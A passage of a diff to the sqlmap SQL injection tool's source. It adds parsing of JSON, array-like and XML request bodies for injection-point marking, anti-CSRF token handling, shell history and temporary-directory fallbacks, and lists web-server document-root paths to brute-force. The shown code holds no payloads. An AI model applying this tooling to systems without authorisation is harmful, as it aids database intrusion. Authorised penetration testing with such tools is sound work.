MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -520,15 +573,21 @@ LIMITED_ROWS_TEST_NUMBER = 15 # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" -# Regular expression for SOAP-like POST data -SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\s*\Z" +# Regular expression for XML POST data +XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" + +# Regular expression used for detecting JSON POST data +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data -JSON_RECOGNITION_REGEX = r'(?s)\A\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*\Z' +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" +# Regular expression used for detecting Array-like POST data +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) + # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" @@ -544,23 +603,32 @@ MIN_BINARY_DISK_DUMP_SIZE = 100 # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 180 +METASPLOIT_SESSION_TIMEOUT = 300 + +# Suffix used to mark variables having keyword names +EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." +# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") + # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), - OS.WINDOWS: ("/xampp", "/Program Files/xampp/", "/wamp", "/Program Files/wampp/", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root -BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "sites/all", "www/build") +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" @@ -568,6 +636,9 @@ BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' +# Letters of lower frequency used in kb.chars +KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" diff --git a/lib/core/shell.py b/lib/core/shell.py index 458c80da6..d4ca035e0 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -13,14 +13,60 @@ from lib.core import readlineng as readline from lib.core.common import Backend from lib.core.data import logger from lib.core.data import paths +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import MAX_HISTORY_LENGTH -def saveHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) - readline.write_history_file(historyPath) +def readlineAvailable(): + """ + Check if the readline is available. By default + it is not in Python default installation on Windows + """ -def loadHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + return readline._readline is not None + +def clearHistory(): + if not readlineAvailable(): + return + + readline.clear_history() + +def saveHistory(completion=None): + if not readlineAvailable(): + return + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + + try: + with open(historyPath, "w+") as f: + pass + except: + pass + + readline.set_history_length(MAX_HISTORY_LENGTH) + try: + readline.write_history_file(historyPath) + except IOError, msg: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) + logger.warn(warnMsg) + +def loadHistory(completion=None): + if not readlineAvailable(): + return + + clearHistory() + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: @@ -46,15 +92,13 @@ class CompleterNG(rlcompleter.Completer): matches.append(word) return matches - -def autoCompletion(sqlShell=False, osShell=False): - # First of all we check if the readline is available, by default - # it is not in Python default installation on Windows - if not readline._readline: + +def autoCompletion(completion=None, os=None, commands=None): + if not readlineAvailable(): return - if osShell: - if Backend.isOs(OS.WINDOWS): + if completion == AUTOCOMPLETE_TYPE.OS: + if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, @@ -75,5 +119,11 @@ def autoCompletion(sqlShell=False, osShell=False): readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") - loadHistory() - atexit.register(saveHistory) + elif commands: + completer = CompleterNG(dict(((_, None) for _ in commands))) + readline.set_completer_delims(' ') + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + + loadHistory(completion) + atexit.register(saveHistory, completion) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index f2685ddfd..eee73afdd 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -120,7 +120,7 @@ class Popen(subprocess.Popen): nAvail = maxsize if nAvail > 0: (errCode, read) = ReadFile(x, nAvail, None) - except ValueError: + except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): @@ -197,4 +197,6 @@ def send_all(p, data): while len(data): sent = p.send(data) + if not isinstance(sent, int): + break data = buffer(data, sent) diff --git a/lib/core/target.py b/lib/core/target.py index 75cec800e..90d2a68bd 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -14,8 +14,11 @@ import time import urlparse from lib.core.common import Backend +from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import normalizeUnicode +from lib.core.common import openFile from lib.core.common import paramToDict from lib.core.common import readInput from lib.core.common import resetCookieJar @@ -25,6 +28,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths +from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS @@ -36,26 +40,31 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX +from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT -from lib.core.settings import SOAP_RECOGNITION_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB from lib.core.xmldump import dumper as xmldumper from thirdparty.odict.odict import OrderedDict @@ -88,6 +97,7 @@ def _setRequestParams(): if conf.data is not None: conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method + hintNames = [] def process(match, repl): retVal = match.group(0) @@ -100,7 +110,8 @@ def _setRequestParams(): retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) else: break - + if CUSTOM_INJECTION_MARK_CHAR in retVal: + hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name"))) return retVal if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data: @@ -112,9 +123,15 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON like data found in %s data. " % conf.method + message = "JSON data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): @@ -123,10 +140,39 @@ def _setRequestParams(): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) + match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) + if match and not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON - elif re.search(SOAP_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML like data found in %s data. " % conf.method + elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): + message = "JSON-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + test = readInput(message, default="Y") + if test and test[0] in ("q", "Q"): + raise SqlmapUserQuitException + elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + kb.postHint = POST_HINT.JSON_LIKE + + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + test = readInput(message, default="Y") + if test and test[0] in ("q", "Q"): + raise SqlmapUserQuitException + elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) + kb.postHint = POST_HINT.ARRAY_LIKE + + elif re.search(XML_RECOGNITION_REGEX, conf.data): + message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): @@ -137,14 +183,14 @@ def _setRequestParams(): kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart like data found in %s data. " % conf.method + message = "Multipart-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)(Content-Disposition.+?)((\r)?\n--)", r"\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: @@ -165,7 +211,7 @@ def _setRequestParams(): kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint: + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. www.site.com/article.php?id=1) " warnMsg += "and without providing any POST parameters " @@ -195,6 +241,12 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not kb.processUserMarks: if place == PLACE.URI: query = urlparse.urlsplit(value).query @@ -230,7 +282,15 @@ def _setRequestParams(): parts = value.split(CUSTOM_INJECTION_MARK_CHAR) for i in xrange(len(parts) - 1): - conf.paramDict[place]["%s#%d%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) + name = None + if kb.postHint: + for ending, _ in hintNames: + if parts[i].endswith(ending): + name = "%s %s" % (kb.postHint, _) + break + if name is None: + name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR) + conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] @@ -298,13 +358,29 @@ def _setRequestParams(): errMsg += "within the given request data" raise SqlmapGenericException(errMsg) + if conf.csrfToken: + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): + errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken + errMsg += "found in provided GET, POST, Cookie or header values" + raise SqlmapGenericException(errMsg) + else: + for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): + for parameter in conf.paramDict.get(place, {}): + if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): + message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) + message += "Do you want sqlmap to automatically update it in further requests? [y/N] " + test = readInput(message, default="N") + if test and test[0] in ("y", "Y"): + conf.csrfToken = parameter + break + def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: - conf.hashDBFile = conf.sessionFile or "%s%ssession.sqlite" % (conf.outputPath, os.sep) + conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") if os.path.exists(conf.hashDBFile): if conf.flushSession: @@ -332,7 +408,7 @@ def _resumeHashDBValues(): conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: - if injection.place in conf.paramDict and \ + if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): @@ -432,8 +508,23 @@ def _setResultsFile(): return if not conf.resultsFP: - conf.resultsFilename = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, time.strftime(RESULTS_FILE_FORMAT).lower()) - conf.resultsFP = codecs.open(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) + conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + try: + conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) + except (OSError, IOError), ex: + try: + warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) + conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1] + conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) + warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename + logger.warn(warnMsg) + except IOError, _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) + conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) @@ -449,7 +540,16 @@ def _createFilesDir(): conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): - os.makedirs(conf.filePath, 0755) + try: + os.makedirs(conf.filePath, 0755) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") + warnMsg = "unable to create files directory " + warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) + + conf.filePath = tempDir def _createDumpDir(): """ @@ -462,7 +562,16 @@ def _createDumpDir(): conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname if not os.path.isdir(conf.dumpPath): - os.makedirs(conf.dumpPath, 0755) + try: + os.makedirs(conf.dumpPath, 0755) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapdump") + warnMsg = "unable to create dump directory " + warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) + + conf.dumpPath = tempDir def _configureDumper(): if hasattr(conf, 'xmlFile') and conf.xmlFile: @@ -479,26 +588,45 @@ def _createTargetDirs(): if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): try: - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - except OSError, ex: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - warnMsg = "unable to create default root output directory " - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) - warnMsg += "using temporary directory '%s' instead" % tempDir + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH + logger.warn(warnMsg) + except (OSError, IOError), ex: + try: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + except Exception, _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) + + warnMsg = "unable to create regular output directory " + warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.outputPath): try: os.makedirs(conf.outputPath, 0755) - except OSError, ex: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + except (OSError, IOError), ex: + try: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + except Exception, _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) + warnMsg = "unable to create output directory " - warnMsg += "'%s' (%s). " % (conf.outputPath, ex) - warnMsg += "using temporary directory '%s' instead" % tempDir + warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.outputPath = tempDir @@ -508,9 +636,9 @@ def _createTargetDirs(): f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) if conf.data: - f.write("\n\n%s" % conf.data) + f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: - if "denied" in str(ex): + if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " @@ -555,11 +683,15 @@ def initTargetEnv(): class _(unicode): pass - original = conf.data - conf.data = _(urldecode(conf.data)) - setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) - - kb.postSpaceToPlus = '+' in original + for key, value in conf.httpHeaders: + if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): + kb.postUrlEncode = "urlencoded" in value + break + if kb.postUrlEncode: + original = conf.data + conf.data = _(urldecode(conf.data)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + kb.postSpaceToPlus = '+' in original def setupTargetEnv(): _createTargetDirs() diff --git a/lib/core/testing.py b/lib/core/testing.py index d09fd486c..8339cbc32 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -35,9 +35,10 @@ from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING from lib.parse.cmdline import cmdLineParser -failedItem = None -failedParseOn = None -failedTraceBack = None +class Failures(object): + failedItems = None + failedParseOn = None + failedTraceBack = None def smokeTest(): """ @@ -110,10 +111,6 @@ def liveTest(): Runs the test of a program against the live testing environment """ - global failedItem - global failedParseOn - global failedTraceBack - retVal = True count = 0 global_ = {} @@ -192,13 +189,13 @@ def liveTest(): logger.info("test passed") cleanCase() else: - errMsg = "test failed " + errMsg = "test failed" - if failedItem: - errMsg += "at parsing item \"%s\" " % failedItem + if Failures.failedItems: + errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems) - errMsg += "- scan folder: %s " % paths.SQLMAP_OUTPUT_PATH - errMsg += "- traceback: %s" % bool(failedTraceBack) + errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH + errMsg += " - traceback: %s" % bool(Failures.failedTraceBack) if not vulnerable: errMsg += " - SQL injection not detected" @@ -206,14 +203,14 @@ def liveTest(): logger.error(errMsg) test_case_fd.write("%s\n" % errMsg) - if failedParseOn: + if Failures.failedParseOn: console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(failedParseOn) + console_output_fd.write(Failures.failedParseOn) console_output_fd.close() - if failedTraceBack: + if Failures.failedTraceBack: traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(failedTraceBack) + traceback_fd.write(Failures.failedTraceBack) traceback_fd.close() beep() @@ -234,13 +231,9 @@ def liveTest(): return retVal def initCase(switches, count): - global failedItem - global failedParseOn - global failedTraceBack - - failedItem = None - failedParseOn = None - failedTraceBack = None + Failures.failedItems = [] + Failures.failedParseOn = None + Failures.failedTraceBack = None paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") @@ -264,10 +257,6 @@ def cleanCase(): shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) def runCase(parse): - global failedItem - global failedParseOn - global failedTraceBack - retVal = True handled_exception = None unhandled_exception = None @@ -288,15 +277,15 @@ def runCase(parse): LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ if unhandled_exception: - failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) + Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) retVal = None elif handled_exception: - failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) + Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) retVal = None elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False - console = getUnicode(console, system=True) + console = getUnicode(console, encoding=sys.stdin.encoding) if parse and retVal: with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: @@ -308,19 +297,17 @@ def runCase(parse): if item.startswith("r'") and item.endswith("'"): if not re.search(item[2:-1], parse_on, re.DOTALL): retVal = None - failedItem = item - break + Failures.failedItems.append(item) elif item not in parse_on: retVal = None - failedItem = item - break + Failures.failedItems.append(item) - if failedItem is not None: - failedParseOn = console + if Failures.failedItems: + Failures.failedParseOn = console elif retVal is False: - failedParseOn = console + Failures.failedParseOn = console return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index 0d924f5eb..8647ecfd0 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -106,20 +106,25 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio 